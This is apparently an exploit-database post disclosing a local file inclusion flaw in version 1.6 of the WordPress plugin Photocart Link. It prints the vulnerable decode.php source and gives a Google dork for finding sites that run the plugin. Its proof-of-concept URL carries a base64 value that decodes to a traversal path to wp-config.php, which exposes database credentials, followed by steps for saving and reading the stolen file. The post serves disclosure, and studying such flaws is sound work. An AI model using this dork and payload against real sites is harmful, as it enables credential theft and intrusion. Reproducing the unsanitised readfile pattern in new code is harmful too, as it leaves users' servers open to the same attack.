WordPress Plugin Photocart Link 1.6 - Local File Inclusion

# Exploit Title: Wordpress Plugin Photocart Link - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-27
# Google Dork : inurl:/wp-content/plugins/photocart-link/
# Vendor Homepage: https://fr.wordpress.org/plugins/photocart-link/
# Tested on: MSWin32
# Version: 1.6

# Vuln file : decode.php

<?php
error_reporting(0);
header("Cache-control: private"); 
$new =  base64_decode($_REQUEST['id']);
header("Content-type: image/jpeg");
header("Content-transfer-encoding: binary\n"); 
header("Content-Disposition: filename=do_not_copy_these_images");
header('Cache-control: no-cache');
@readfile($new);
?>

# PoC : /wp-content/plugins/photocart-link/decode.php?id=Li4vLi4vLi4vd3AtY29uZmlnLnBocA==

# Right click -> Save As -> and Read with Notepad file Saved

# 27/03/2016 - Vendor Informed about Issues